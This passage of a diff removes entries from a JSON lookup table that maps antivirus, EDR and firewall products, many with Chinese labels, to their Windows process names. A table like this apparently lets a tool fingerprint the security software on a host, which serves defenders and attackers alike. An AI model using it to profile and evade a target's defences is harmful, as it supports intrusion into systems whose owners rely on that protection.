], - "url": "https://global.ahnlab.com/site/main.do" - }, - "Arcabit": { - "processes": [ - "arcavir.exe", - "arcadc.exe", - "ArcaVirMaster.exe", - "ArcaMainSV.exe", - "ArcaTasksService.exe" - ], - "url": "https://www.arcabit.pl" - }, - "Avast": { - "processes": [ - "ashDisp.exe", - "AvastUI.exe", - "AvastSvc.exe", - "AvastBrowser.exe", - "AfwServ.exe" - ], - "url": "https://www.avast.com" - }, - "Avira AntiVirus(小红伞)": { - "processes": [ - "avcenter.exe", - "avguard.exe", - "avgnt.exe", - "sched.exe" - ], - "url": "https://www.avira.com/" - }, - "Baidu AntiVirus": { - "processes": [ - "BaiduSdSvc.exe", - "BaiduSdTray.exe", - "BaiduSd.exe", - "bddownloader.exe", - "baiduansvx.exe" - ], - "url": "https://anquan.baidu.com/" - }, - "BitDefender": { - "processes": [ - "Bdagent.exe", - "BitDefenderCom.exe", - "vsserv.exe", - "bdredline.exe", - "secenter.exe", - "bdservicehost.exe", - "BITDEFENDER.exe" - ], - "url": "http://www.bitdefender.com/" - }, - "Bkav": { - "processes": [ - "BKavService.exe", - "Bka.exe", - "BkavUtil.exe", - "BLuPro.exe" - ], - "url": "https://www.bkav.com/" - }, - "CAT-QuickHeal": { - "processes": [ - "QUHLPSVC.exe", - "onlinent.exe", - "sapissvc.exe", - "scanwscs.exe" - ], - "url": "https://www.quickheal.com/" - }, - "CMC": { - "processes": [ - "CMCTrayIcon.exe" - ], - "url": "https://cmccybersecurity.com/" - }, - "ClamAV": { - "processes": [ - "freshclam.exe" - ], - "url": "https://www.clamav.net" - }, - "Comodo": { - "processes": [ - "cpf.exe", - "cavwp.exe", - "ccavsrv.exe", - "cmdvirth.exe" - ], - "url": "https://www.comodo.com" - }, - "CrowdStrike Falcon(猎鹰)": { - "processes": [ - "csfalconservice.exe", - "CSFalconContainer.exe" - ], - "url": "https://www.crowdstrike.com" - }, - "Cybereason": { - "processes": [ - "CybereasonRansomFree.exe", - "CybereasonRansomFreeServiceHost.exe", - "CybereasonAV.exe" - ], - "url": "https://www.cybereason.com/" - }, - "Cylance": { - "processes": [ - "CylanceSvc.exe" - ], - "url": "https://www.cylance.com" - }, - "Cyren": { - "processes": [ - "vsedsps.exe", - "vseamps.exe", - "vseqrts.exe" - ], - "url": "http://www.cyren.com/" - }, - "DrWeb": { - "processes": [ - "drwebcom.exe", - "spidernt.exe", - "drwebscd.exe", - "drweb32w.exe", - "dwengine.exes" - ], - "url": "https://www.drweb.com/" - }, - "Elastic Security": { - "processes": [ - "elastic-endpoint.exe", - "elastic-agent.exe", - "agentbeat.exe", - "winlogbeat.exe" - ], - "url": "https://www.elastic.co/endpoint-detection-response" - }, - "ESET-NOD32": { - "processes": [ - "egui.exe", - "ecls.exe", - "ekrn.exe", - "eguiProxy.exe", - "EShaSrv.exe" - ], - "url": "https://www.eset.com/us/home/antivirus/" - }, - "Trend Micro(趋势科技)": { - "processes": [ - "tmpfw.exe", - "tmlisten.exe", - "coreServiceShell.exe", - "coreFrameworkHost.exe", - "uiWatchDog.exe", - "TMLISTEN.exe" - ], - "url": "https://www.trendmicro.com" - }, - "Emsisoft": { - "processes": [ - "a2guard.exe", - "a2free.exe", - "a2service.exe" - ], - "url": "https://www.emsisoft.com/" - }, - "Endgame": { - "processes": [ - "endgame.exe" - ], - "url": "https://www.endgame.com/" - }, - "F-Prot": { - "processes": [ - "F-PROT.exe", - "FProtTray.exe", - "FPAVServer.exe", - "f-stopw.exe", - "f-prot95.exe", - "f-agnt95.exe" - ], - "url": "http://f-prot.com/" - }, - "F-Secure": { - "processes": [ - "f-secure.exe", - "fssm32.exe", - "Fsorsp64.exe", - "fsavgui.exe", - "fameh32.exe", - "fch32.exe", - "fih32.exe", - "fnrb32.exe", - "fsav32.exe", - "fsma32.exe", - "fsmb32.exe" - ], - "url": "https://www.f-secure.com" - }, - "FireEye(火眼)": { - "processes": [ - "xagtnotif.exe", - "xagt.exe" - ], - "url": "https://www.fireeye.com" - }, - "Trellix EDR(McAfee && 火眼)": { - "processes": [ - "macmnsvc.exe", - "macompatsvc.exe", - "masvc.exe", - "mcshield.exe", - "mctray.exe", - "mfeatp.exe", - "mfeensppl.exe", - "mfeesp.exe", - "mfefw.exe", - "mfehcs.exe", - "mfemactl.exe", - "mfemms.exe", - "mfetp.exe", - "mfevtps.exe", - "mfewch.exe", - "updaterui.exe" - ], - "url": "https://www.trellix.com" - }, - "Fortinet(飞塔)": { - "processes": [ - "FortiClient.exe", - "FortiTray.exe", - "FortiScand.exe", - "FortiWF.exe", - "FortiProxy.exe", - "FortiESNAC.exe", - "FortiSSLVPNdaemon.exe", - "FortiTcs.exe", - "FctSecSvr.exe" - ], - "url": "https://fortiguard.com/" - }, - "GData": { - "processes": [ - "AVK.exe", - "avkcl.exe", - "avkpop.exe", - "avkservice.exe", - "GDScan.exe", - "AVKWCtl.exe", - "AVKProxy.exe", - "AVKBackupService.exe" - ], - "url": "https://www.gdatasoftware.com/" - }, - "Ikarus": { - "processes": [ - "guardxservice.exe", - "guardxkickoff.exe" - ], - "url": "https://www.ikarussecurity.com/" - }, - "Jiangmin": { - "processes": [ - "KVFW.exe", - "KVsrvXP.exe", - "KVMonXP.exe", - "KVwsc.exe" - ], - "url": "https://www.jiangmin.com/" - }, - "K7AntiVirus": { - "processes": [ - "K7TSecurity.exe", - "K7TSMain.Exe", - "K7TSUpdT.exe" - ], - "url": "http://viruslab.k7computing.com/" - }, - "Kaspersky(卡巴斯基)": { - "processes": [ - "avp.exe", - "avpcc.exe", - "avpm.exe", - "kavpf.exe", - "kavfs.exe", - "klnagent.exe", - "kavtray.exe", - "kavfswp.exe", - "kaspersky.exe" - ], - "url": "https://www.kaspersky.com" - }, - "Max Secure Software": { - "processes": [ - "SDSystemTray.exe", - "MaxRCSystemTray.exe", - "RCSystemTray.exe", - "MaxAVPlusDM.exe", - "LiveUpdateSD.exe" - ], - "url": "https://www.maxpcsecure.com/" - }, - "Malwarebytes": { - "processes": [ - "MBAMService.exe", - "mbam.exe", - "mbamtray.exe" - ], - "url": "https://www.malwarebytes.com/" - }, - "McAfee(迈克菲-可能为Trellix)": { - "processes": [ - "Mcshield.exe", - "Tbmon.exe", - "Frameworkservice.exe", - "firesvc.exe", - "firetray.exe", - "hipsvc.exe", - "mfevtps.exe", - "mcafeefire.exe", - "shstat.exe", - "vstskmgr.exe", - "engineserver.exe", - "alogserv.exe", - "avconsol.exe", - "cmgrdian.exe", - "cpd.exe", - "mcmnhdlr.exe", - "mcvsshld.exe", - "mcvsrte.exe", - "mghtml.exe", - "mpfservice.exe", - "mpfagent.exe", - "mpftray.exe", - "vshwin32.exe", - "vsstat.exe", - "guarddog.exe", - "mfeann.exe", - "udaterui.exe", - "naprdmgr.exe", - "mctray.exe", - "fcagate.exe", - "fcag.exe", - "fcags.exe", - "fcagswd.exe", - "macompatsvc.exe", - "masvc.exe", - "mcamnsvc.exe", - "mctary.exe", - "mfecanary.exe", - "mfeconsole.exe", - "mfeesp.exe", - "mfefire.exe", - "mfefw.exe", - "mfemms.exe", - "mfetp.exe", - "mfewc.exe", - "mfewch.exe" - ], - "url": "https://www.mcafee.com/en-us" - }, - "Microsoft Defender(Windows Defender)": { - "processes": [ - "MsMpEng.exe", - "msseces.exe", - "mssecess.exe", - "emet_agent.exe", - "emet_service.exe", - "drwatson.exe", - "MpCmdRun.exe", - "NisSrv.exe", - "MsSense.exe", - "MSASCui.exe", - "MSASCuiL.exe", - "SecurityHealthService.exe" - ], - "url": "https://www.microsoft.com/en-us/windows/comprehensive-security" - }, - "NANO-Antivirus": { - "processes": [ - "nanoav.exe", - "nanoav64.exe", - "nanoreport.exe", - "nanoreportc.exe", - "nanoreportc64.exe", - "nanorst.exe", - "nanosvc.exe" - ], - "url": "https://nano-av.com/" - }, - "Palo Alto Networks": { - "processes": [ - "PanInstaller.exe" - ], - "url": "https://www.paloaltonetworks.com/" - }, - "Panda Security": { - "processes": [ - "remupd.exe", - "apvxdwin.exe", - "pavproxy.exe", - "pavsched.exe" - ], - "url": "https://www.pandasecurity.com/" - }, - "Qihoo-360": { - "processes": [ - "360sd.exe", - "360tray.exe", - "ZhuDongFangYu.exe", - "360rp.exe", - "360rps.exe", - "360safe.exe", - "360safebox.exe", - "QHActiveDefense.exe", - "360skylarsvc.exe", - "LiveUpdate360.exe" - ], - "url": "https://sd.360.cn/" - }, - "Rising": { - "processes": [ - "RavMonD.exe", - "rfwmain.exe", - "RsMgrSvc.exe", - "RavMon.exe" - ], - "url": "http://antivirus.rising.com.cn/" - }, - "SUPERAntiSpyware": { - "processes": [ - "superantispyware.exe", - "sascore.exe", - "SAdBlock.exe", - "sabsvc.exe" - ], - "url": "http://www.superadblocker.com/" - }, - "SecureAge APEX": { - "processes": [ - "UniversalAVService.exe", - "EverythingServer.exe", - "clamd.exe" - ], - "url": "https://www.secureage.com/" - }, - "Sophos AV": { - "processes": [ - "SavProgress.exe", - "icmon.exe", - "SavMain.exe", - "SophosUI.exe", - "SophosFS.exe", - "SophosHealth.exe", - "SophosSafestore64.exe", - "SophosCleanM.exe", - "SophosFileScanner.exe", - "SophosNtpService.exe", - "SophosOsquery.exe", - "Sophos UI.exe" - ], - "url": "https://www.sophos.com/" - }, - "TACHYON": { - "processes": [], - "url": "https://www.tachyonlab.com/en/index.html" - }, - "Tencent": { - "processes": [ - "QQPCRTP.exe", - "QQPCTray.exe", - "QQPCMgr.exe", - "QQPCNetFlow.exe", - "QQPCRealTimeSpeedup.exe" - ], - "url": "https://guanjia.qq.com" - }, - "TotalDefense": { - "processes": [ - "AMRT.exe", - "SWatcherSrv.exe", - "Prd.ManagementConsole.exe" - ], - "url": "https://www.totaldefense.com" - }, - "Trapmine": { - "processes": [ - "TrapmineEnterpriseService.exe", - "TrapmineEnterpriseConfig.exe", - "TrapmineDeployer.exe", - "TrapmineUpgradeService.exe" - ], - "url": "https://trapmine.com/" - }, - "TrendMicro": { - "processes": [ - "TMBMSRV.exe", - "ntrtscan.exe", - "Pop3Trap.exe", - "WebTrap.exe", - "PccNTMon.exe" - ], - "url": "http://careers.trendmicro.com.cn/" - }, - "VIPRE": { - "processes": [ - "SBAMSvc.exe", - "VipreEdgeProtection.exe", - "SBAMTray.exe" - ], - "url": "https://www.vipre.com" - }, - "ViRobot": { - "processes": [ - "vrmonnt.exe", - "vrmonsvc.exe", - "Vrproxyd.exe" - ], - "url": "http://www.hauri.net/" - }, - "Webroot": { - "processes": [ - "npwebroot.exe", - "WRSA.exe", - "spysweeperui.exe" - ], - "url": "https://www.webroot.com/us/en" - }, - "Yandex": { - "processes": [ - "Yandex.exe", - "YandexDisk.exe", - "yandesk.exe" - ], - "url": "https://yandex.com/support/common/security/antiviruses-free.html" - }, - "Zillya": { - "processes": [ - "zillya.exe", - "ZAVAux.exe", - "ZAVCore.exe" - ], - "url": "https://zillya.com" - }, - "ZoneAlarm": { - "processes": [ - "vsmon.exe", - "zapro.exe", - "zonealarm.exe" - ], - "url": "https://www.zonealarm.com/" - }, - "Zoner": { - "processes": [ - "ZPSTray.exe" - ], - "url": "https://zonerantivirus.com/" - }, - "eGambit": { - "processes": [ - "dasc.exe", - "memscan64.exe", - "dastray.exe" - ], - "url": "https://egambit.app/en/" - }, - "eScan": { - "processes": [ - "consctl.exe", - "mwaser.exe", - "avpmapp.exe" - ], - "url": "https://www.escanav.com/" - }, - "Lavasoft": { - "processes": [ - "AAWTray.exe", - "LavasoftTcpService.exe", - "AdAwareTray.exe", - "WebCompanion.exe", - "WebCompanionInstaller.exe", - "adawarebp.exe", - "ad-watch.exe" - ], - "url": "https://www.lavasoft.com/" - }, - "The Cleaner": { - "processes": [ - "cleaner8.exe" - ], - "url": "" - }, - "VBA32": { - "processes": [ - "vba32lder.exe" - ], - "url": "http://www.anti-virus.by/en/index.shtml" - }, - "Mongoosa": { - "processes": [ - "MongoosaGUI.exe", - "mongoose.exe" - ], - "url": "https://www.securitymongoose.com/" - }, - "Coranti2012": { - "processes": [ - "CorantiControlCenter32.exe" - ], - "url": "https://www.coranti.com" - }, - "UnThreat": { - "processes": [ - "UnThreat.exe", - "utsvc.exe" - ], - "url": "https://softplanet.com/UnThreat-AntiVirus" - }, - "Shield Antivirus": { - "processes": [ - "CKSoftShiedAntivirus4.exe", - "shieldtray.exe" - ], - "url": "https://shieldapps.com/supportmain/shield-antivirus-support/" - }, - "VIRUSfighter": { - "processes": [ - "AVWatchService.exe", - "vfproTray.exe" - ], - "url": "https://www.spamfighter.com/VIRUSfighter/" - }, - "Immunet": { - "processes": [ - "iptray.exe" - ], - "url": "https://www.immunet.com/index" - }, - "PSafe": { - "processes": [ - "PSafeSysTray.exe", - "PSafeCategoryFinder.exe", - "psafesvc.exe" - ], - "url": "https://www.psafe.com/" - }, - "nProtect": { - "processes": [ - "nspupsvc.exe", - "Npkcmsvc.exe", - "npnj5Agent.exe" - ], - "url": "http://nos.nprotect.com/" - }, - "Spyware Terminator": { - "processes": [ - "SpywareTerminatorShield.exe", - "SpywareTerminator.exe" - ], - "url": "http://www.spywareterminator.com/Default.aspx" - }, - "Norton(赛门铁克)": { - "processes": [ - "ccSvcHst.exe", - "rtvscan.exe", - "ccapp.exe", - "NPFMntor.exe", - "ccRegVfy.exe", - "vptray.exe", - "iamapp.exe", - "nav.exe", - "navapw32.exe", - "navapsvc.exe", - "nisum.exe", - "nmain.exe", - "nprotect.exe", - "smcGui.exe", - "ns.exe", - "nortonsecurity.exe" - ], - "url": "https://us.norton.com/" - }, - "Norton V25(Avast)": { - "processes": [ - "afwServ.exe", - "aswEngSrv.exe", - "aswidsagent.exe", - "AvDump.exe", - "nllToolsSvc.exe", - "NortonSvc.exe", - "wsc_proxy.exe" - ], - "url": "https://us.norton.com/" - }, - "Symantec(赛门铁克)": { - "processes": [ - "ccSetMgr.exe", - "ccapp.exe", - "vptray.exe", - "ccpxysvc.exe", - "cfgwiz.exe", - "smc.exe", - "symproxysvc.exe", - "vpc32.exe", - "lsetup.exe", - "luall.exe", - "lucomserver.exe", - "sbserv.exe", - "ccEvtMgr.exe", - "smcGui.exe", - "snac.exe", - "SymCorpUI.exe", - "sepWscSvc64.exe" - ], - "url": "http://www.symantec.com/" - }, - "可牛杀毒": { - "processes": [ - "knsdtray.exe" - ], - "url": "https://baike.baidu.com/item/%E5%8F%AF%E7%89%9B%E5%85%8D%E8%B4%B9%E6%9D%80%E6%AF%92%E8%BD%AF%E4%BB%B6" - }, - "流量矿石": { - "processes": [ - "Miner.exe" - ], - "url": "https://jiaoyi.yunfan.com/" - }, - "SafeDog(安全狗)": { - "processes": [ - "safedog.exe", - "SafeDogGuardCenter.exe", - "SafeDogSiteIIS.exe", - "SafeDogTray.exe", - "SafeDogServerUI.exe", - "SafeDogSiteApache.exe", - "CloudHelper.exe", - "SafeDogUpdateCenter.exe" - ], - "url": "http://www.safedog.cn/" - }, - "木马克星": { - "processes": [ - "parmor.exe", - "Iparmor.exe" - ], - "url": "https://baike.baidu.com/item/%E6%9C%A8%E9%A9%AC%E5%85%8B%E6%98%9F/2979824?fr=aladdin" - }, - "贝壳云安全": { - "processes": [ - "beikesan.exe" - ], - "url": "" - }, - "木马猎手": { - "processes": [ - "TrojanHunter.exe" - ], - "url": "" - }, - "巨盾网游安全盾": { - "processes": [ - "GG.exe" - ], - "url": "" - }, - "绿鹰安全精灵": { - "processes": [ - "adam.exe" - ], - "url": "https://baike.baidu.com/item/%E7%BB%BF%E9%B9%B0%E5%AE%89%E5%85%A8%E7%B2%BE%E7%81%B5" - }, - "超级巡警": { - "processes": [ - "AST.exe" - ], - "url": "" - }, - "墨者安全专家": { - "processes": [ - "ananwidget.exe" - ], - "url": "" - }, - "风云防火墙": { - "processes": [ - "FYFireWall.exe" - ], - "url": "" - }, - "微点主动防御": { - "processes": [ - "MPMon.exe" - ], - "url": "http://www.micropoint.com.cn/" - }, - "天网防火墙": { - "processes": [ - "pfw.exe" - ], - "url": "" - }, - "D 盾": { - "processes": [ - "D_Safe_Manage.exe", - "d_manage.exe" - ], - "url": "http://www.d99net.net/" - }, - "云锁": { - "processes": [ - "yunsuo_agent_service.exe", - "yunsuo_agent_daemon.exe" - ], - "url": "https://www.yunsuo.com.cn/" - }, - "护卫神": { - "processes": [ - "HwsPanel.exe", - "hws_ui.exe", - "hws.exe", - "hwsd.exe", - "HwsHostPanel.exe", - "HwsHostMaster.exe" - ], - "url": "https://www.hws.com/" - }, - "火绒安全": { - "processes": [ - "hipstray.exe", - "wsctrl.exe", - "usysdiag.exe", - "HipsDaemon.exe", - "HipsLog.exe", - "HipsMain.exe", - "wsctrlsvc.exe" - ], - "url": "https://www.huorong.cn/" - }, - "网络病毒克星": { - "processes": [ - "WEBSCANX.exe" - ], - "url": "" - }, - "SPHINX防火墙": { - "processes": [ - "SPHINX.exe" - ], - "url": "" - }, - "奇安信天擎": { - "processes": [ - "TQClient.exe", - "TQTray.exe", - "QaxEngManager.exe", - "TQDefender.exe" - ], - "url": "https://www.qianxin.com/product/detail/pid/330" - }, - "H+BEDV Datentechnik GmbH": { - "processes": [ - "avwin.exe", - "avwupsrv.exe" - ], - "url": "http://www.free-av.com/" - }, - "IBM ISS Proventia": { - "processes": [ - "blackd.exe", - "rapapp.exe" - ], - "url": "" - }, - "eEye Digital Security": { - "processes": [ - "eeyeevnt.exe", - "blink.exe" - ], - "url": "" - }, - "TamoSoft": { - "processes": [ - "cv.exe", - "ent.exe" - ], - "url": "https://www.tamos.com/" - }, - "Kerio Personal Firewall": { - "processes": [ - "persfw.exe", - "wrctrl.exe" - ], - "url": "http://www.kerio.com/" - }, - "Simplysup": { - "processes": [ - "Trjscan.exe" - ], - "url": "https://www.simplysup.com/" - }, - "PC Tools AntiVirus": { - "processes": [ - "PCTAV.exe", - "pctsGui.exe" - ], - "url": "http://www.pctools.com" - }, - "VirusBuster Professional": { - "processes": [ - "vbcmserv.exe" - ], - "url": "http://www.virusbuster.hu" - }, - "ClamWin": { - "processes": [ - "ClamTray.exe", - "clamscan.exe" - ], - "url": "http://www.clamwin.com/" - }, - "安天智甲": { - "processes": [ - "kxetray.exe", - "kscan.exe", - "AMediumManager.exe", - "kismain.exe" - ], - "url": "https://antiy.cn/" - }, - "CMC Endpoint Security": { - "processes": [ - "CMCNECore.exe", - "cmcepagent.exe", - "cmccore.exe", - "CMCLog.exe", - "CMCFMon.exe" - ], - "url": "https://cmccybersecurity.com/giai-phap/" - }, - "金山毒霸": { - "processes": [ - "kxetray.exe", - "kxescore.exe", - "kupdata.exe", - "kwsprotect64.exe", - "kislive.exe", - "knewvip.exe", - "kscan.exe", - "kxecenter.exe", - "kxemain.exe", - "KWatch.exe", - "KSafeSvc.exe", - "KSafeTray.exe" - ], - "url": "http://www.ijinshan.com/" - }, - "Agnitum outpost (Outpost Firewall)": { - "processes": [ - "outpost.exe", - "acs.exe" - ], - "url": "https://agnitum-outpost-security-suite.en.softonic.com/" - }, - "Cynet": { - "processes": [ - "CynetLauncher.exe", - "CynetDS.exe", - "CynetEPS.exe", - "CynetMS.exe", - "CynetAR.exe", - "CynetGW.exe", - "CynetSD64.exe" - ], - "url": "https://www.cynet.com/" - }, - "金山网盾": { - "processes": [ - "KSWebShield.exe" - ], - "url": "" - }, - "G Data安全软件客户端": { - "processes": [ - "AVK.exe" - ], - "url": "" - }, - "金山网镖": { - "processes": [ - "kpfwtray.exe" - ], - "url": "" - }, - "在扫1433": { - "processes": [ - "1433.exe" - ], - "url": "" - }, - "在爆破": { - "processes": [ - "DUB.exe" - ], - "url": "" - }, - "发现S-U": { - "processes": [ - "ServUDaemon.exe" - ], - "url": "" - }, - "百度卫士": { - "processes": [ - "bddownloader.exe", - "baiduSafeTray.exe" - ], - "url": "" - }, - "百度卫士-主进程": { - "processes": [ - "baiduansvx.exe" - ], - "url": "" - }, - "已知杀软进程,名称暂未收录": { - "processes": [ - "scan32.exe", - "mcscript.exe", - "cleanup.exe", - "cmdagent.exe", - "frminst.exe", - "mcscript_inuse.exe", - "_avp32.exe", - "_avpcc.exe", - "_avpm.exe", - "aAvgApi.exe", - "ackwin32.exe", - "advxdwin.exe", - "agentsvr.exe", - "agentw.exe", - "alertsvc.exe", - "alevir.exe", - "amon9x.exe", - "anti-trojan.exe", - "antivirus.exe", - "ants.exe", - "apimonitor.exe", - "aplica32.exe", - "arr.exe", - "atcon.exe", - "atguard.exe", - "atro55en.exe", - "atupdater.exe", - "atwatch.exe", - "au.exe", - "aupdate.exe", - "auto-protect.nav80try.exe", - "autodown.exe", - "autotrace.exe", - "autoupdate.exe", - "ave32.exe", - "avgcc32.exe", - "avgctrl.exe", - "avgserv9.exe", - "avkpop.exe", - "avkserv.exe", - "avkservice.exe", - "avltmain.exe", - "avnt.exe", - "avp32.exe", - "avpdos32.exe", - "avptc32.exe", - "avpupd.exe", - "avsched32.exe", - "avsynmgr.exe", - "avwin95.exe", - "avwinnt.exe", - "avwupd.exe", - "avwupd32.exe", - "avxmonitor9x.exe", - "avxmonitornt.exe", - "avxquar.exe", - "backweb.exe", - "bargains.exe", - "bd_professional.exe", - "beagle.exe", - "belt.exe", - "bidef.exe", - "bidserver.exe", - "bipcp.exe", - "bipcpevalsetup.exe", - "bisp.exe", - "blackice.exe", - "blss.exe", - "bootconf.exe", - "bootwarn.exe", - "borg2.exe", - "bpc.exe", - "brasil.exe", - "bs120.exe", - "bundle.exe", - "bvt.exe", - "cdp.exe", - "cfd.exe", - "cfiadmin.exe", - "cfiaudit.exe", - "cfinet.exe", - "cfinet32.exe", - "claw95.exe", - "claw95cf.exe", - "clean.exe", - "cleaner.exe", - "cleaner3.exe", - "cleanpc.exe", - "click.exe", - "cmesys.exe", - "cmon016.exe", - "connectionmonitor.exe", - "cpf9x206.exe", - "cpfnt206.exe", - "ctrl.exe", - "cwnb181.exe", - "cwntdwmo.exe", - "datemanager.exe", - "dcomx.exe", - "defalert.exe", - "defscangui.exe", - "defwatch.exe", - "deputy.exe", - "divx.exe", - "dllcache.exe", - "dllreg.exe", - "doors.exe", - "dpf.exe", - "dpfsetup.exe", - "dpps2.exe", - "drweb32.exe", - "drwebupw.exe", - "dssagent.exe", - "dvp95.exe", - "dvp95_0.exe", - "ecengine.exe", - "efpeadm.exe", - "emsw.exe", - "ent.exe", - "esafe.exe", - "escanhnt.exe", - "escanv95.exe", - "espwatch.exe", - "ethereal.exe", - "etrustcipe.exe", - "evpn.exe", - "exantivirus-cnet.exe", - "exe.avxw.exe", - "expert.exe", - "explore.exe", - "fast.exe", - "findviru.exe", - "firewall.exe", - "fp-win.exe", - "fp-win_trial.exe", - "fprot.exe", - "frw.exe", - "fsaa.exe", - "fsav.exe", - "fsav530stbyb.exe", - "fsav530wtbyb.exe", - "fsav95.exe", - "fsgk32.exe", - "fsm32.exe", - "gator.exe", - "gbmenu.exe", - "gbpoll.exe", - "generics.exe", - "gmt.exe", - "guard.exe", - "hacktracersetup.exe", - "hbinst.exe", - "hbsrv.exe", - "hotactio.exe", - "hotpatch.exe", - "htlog.exe", - "htpatch.exe", - "hwpe.exe", - "hxdl.exe", - "hxiul.exe", - "iamserv.exe", - "iamstats.exe", - "ibmasn.exe", - "ibmavsp.exe", - "icload95.exe", - "icloadnt.exe", - "icmon.exe", - "icsupp95.exe", - "icsuppnt.exe", - "idle.exe", - "iedll.exe", - "iedriver.exe", - "iface.exe", - "ifw2000.exe", - "inetlnfo.exe", - "infus.exe", - "infwin.exe", - "init.exe", - "intdel.exe", - "intren.exe", - "iomon98.exe", - "istsvc.exe", - "jammer.exe", - "jdbgmrg.exe", - "jedi.exe", - "kavlite40eng.exe", - "kavpers40eng.exe", - "kazza.exe", - "keenvalue.exe", - "kerio-pf-213-en-win.exe", - "kerio-wrl-421-en-win.exe", - "kerio-wrp-421-en-win.exe", - "kernel32.exe", - "killprocesssetup161.exe", - "launcher.exe", - "ldnetmon.exe", - "ldpro.exe", - "ldpromenu.exe", - "ldscan.exe", - "lnetinfo.exe", - "loader.exe", - "localnet.exe", - "lockdown.exe", - "lockdown2000.exe", - "lookout.exe", - "lordpe.exe", - "luau.exe", - "luinit.exe", - "luspt.exe", - "mapisvc32.exe", - "mcagent.exe", - "mctool.exe", - "mcupdate.exe", - "mfin32.exe", - "mfw2en.exe", - "mfweng3.02d30.exe", - "mgavrtcl.exe", - "mgavrte.exe", - "mgui.exe", - "minilog.exe", - "mmod.exe", - "monitor.exe", - "moolive.exe", - "mostat.exe", - "mrflux.exe", - "msapp.exe", - "msbb.exe", - "msblast.exe", - "mscache.exe", - "msccn32.exe", - "mscman.exe", - "msconfig.exe", - "msdm.exe", - "msdos.exe", - "msiexec16.exe", - "msinfo32.exe", - "mslaugh.exe", - "msmgt.exe", - "msmsgri32.exe", - "mssmmc32.exe", - "mssys.exe", - "msvxd.exe", - "mu0311ad.exe", - "mwatch.exe", - "n32scanw.exe", - "navap.navapsvc.exe", - "navdx.exe", - "navlu32.exe", - "navnt.exe", - "navstub.exe", - "navw32.exe", - "navwnt.exe", - "nc2000.exe", - "ncinst4.exe", - "ndd32.exe", - "neomonitor.exe", - "neowatchlog.exe", - "netarmor.exe", - "netd32.exe", - "netinfo.exe", - "netmon.exe", - "netscanpro.exe", - "netspyhunter-1.2.exe", - "netstat.exe", - "netutils.exe", - "nisserv.exe", - "nod32.exe", - "normist.exe", - "norton_internet_secu_3.0_407.exe", - "notstart.exe", - "npf40_tw_98_nt_me_2k.exe", - "npfmessenger.exe", - "npscheck.exe", - "npssvc.exe", - "nsched32.exe", - "nssys32.exe", - "nstask32.exe", - "nsupdate.exe", - "nt.exe", - "ntvdm.exe", - "ntxconfig.exe", - "nui.exe", - "nupgrade.exe", - "nvarch16.exe", - "nvc95.exe", - "nvsvc32.exe", - "nwinst4.exe", - "nwservice.exe", - "nwtool16.exe", - "ollydbg.exe", - "onsrvr.exe", - "optimize.exe", - "ostronet.exe", - "otfix.exe", - "outpostinstall.exe", - "outpostproinstall.exe", - "padmin.exe", - "panixk.exe", - "patch.exe", - "pavcl.exe", - "pavw.exe", - "pccwin98.exe", - "pcfwallicon.exe", - "pcip10117_0.exe", - "pcscan.exe", - "pdsetup.exe", - "periscope.exe", - "perswf.exe", - "pf2.exe", - "pfwadmin.exe", - "pgmonitr.exe", - "pingscan.exe", - "platin.exe", - "poproxy.exe", - "popscan.exe", - "portdetective.exe", - "portmonitor.exe", - "powerscan.exe", - "ppinupdt.exe", - "pptbc.exe", - "ppvstop.exe", - "prizesurfer.exe", - "prmt.exe", - "prmvr.exe", - "procdump.exe", - "processmonitor.exe", - "procexplorerv1.0.exe", - "programauditor.exe", - "proport.exe", - "protectx.exe", - "pspf.exe", - "purge.exe", - "qconsole.exe", - "qserver.exe", - "rav7.exe", - "rav7win.exe", - "rav8win32eng.exe", - "ray.exe", - "rb32.exe", - "rcsync.exe", - "realmon.exe", - "reged.exe", - "regedit.exe", - "regedt32.exe", - "rescue.exe", - "rescue32.exe", - "rrguard.exe", - "rshell.exe", - "rtvscn95.exe", - "rulaunch.exe", - "run32dll.exe", - "rundll.exe", - "rundll16.exe", - "ruxdll32.exe", - "safeweb.exe", - "sahagent.exe", - "save.exe", - "savenow.exe", - "sc.exe", - "scam32.exe", - "scan95.exe", - "scanpm.exe", - "scrscan.exe", - "serv95.exe", - "setup_flowprotector_us.exe", - "setupvameeval.exe", - "sfc.exe", - "sgssfw32.exe", - "sh.exe", - "shellspyinstall.exe", - "shn.exe", - "showbehind.exe", - "sms.exe", - "smss32.exe", - "soap.exe", - "sofi.exe", - "sperm.exe", - "spf.exe", - "spoler.exe", - "spoolcv.exe", - "spoolsv32.exe", - "spyxx.exe", - "srexe.exe", - "srng.exe", - "ss3edit.exe", - "ssg_4104.exe", - "ssgrate.exe", - "st2.exe", - "start.exe", - "stcloader.exe", - "supftrl.exe", - "support.exe", - "supporter5.exe", - "svchostc.exe", - "svchosts.exe", - "sweep95.exe", - "sweepnet.sweepsrv.sys.swnetsup.exe", - "symtray.exe", - "sysedit.exe", - "sysupd.exe", - "taskmg.exe", - "taskmo.exe", - "taumon.exe", - "tbscan.exe", - "tc.exe", - "tca.exe", - "tcm.exe", - "tds-3.exe", - "tds2-98.exe", - "tds2-nt.exe", - "teekids.exe", - "tfak.exe", - "tfak5.exe", - "tgbob.exe", - "titanin.exe", - "titaninxp.exe", - "tracert.exe", - "trickler.exe", - "trjsetup.exe", - "trojantrap3.exe", - "tsadbot.exe", - "tvmd.exe", - "tvtmd.exe", - "undoboot.exe", - "updat.exe", - "update.exe", - "upgrad.exe", - "utpost.exe", - "vbcons.exe", - "vbust.exe", - "vbwin9x.exe", - "vbwinntw.exe", - "vcsetup.exe", - "vet32.exe", - "vet95.exe", - "vettray.exe", - "vfsetup.exe", - "vir-help.exe", - "virusmdpersonalfirewall.exe", - "vnlan300.exe", - "vnpc3000.exe", - "vpc42.exe", - "vpfw30s.exe", - "vscan40.exe", - "vscenu6.02d30.exe", - "vsched.exe", - "vsecomr.exe", - "vsisetup.exe", - "vsmain.exe", - "vswin9xe.exe", - "vswinntse.exe", - "vswinperse.exe", - "w32dsm89.exe", - "w9x.exe", - "watchdog.exe", - "webdav.exe", - "wfindv32.exe", - "whoswatchingme.exe", - "wimmun32.exe", - "win-bugsfix.exe", - "win32.exe", - "win32us.exe", - "winactive.exe", - "window.exe", - "windows.exe", - "wininetd.exe", - "wininitx.exe", - "winlogin.exe", - "winmain.exe", - "winnet.exe", - "winppr32.exe", - "winrecon.exe", - "winservn.exe", - "winssk32.exe", - "winstart.exe", - "winstart001.exe", - "wintsk32.exe", - "winupdate.exe", - "wkufind.exe", - "wnad.exe", - "wnt.exe", - "wradmin.exe", - "wsbgate.exe", - "wupdater.exe", - 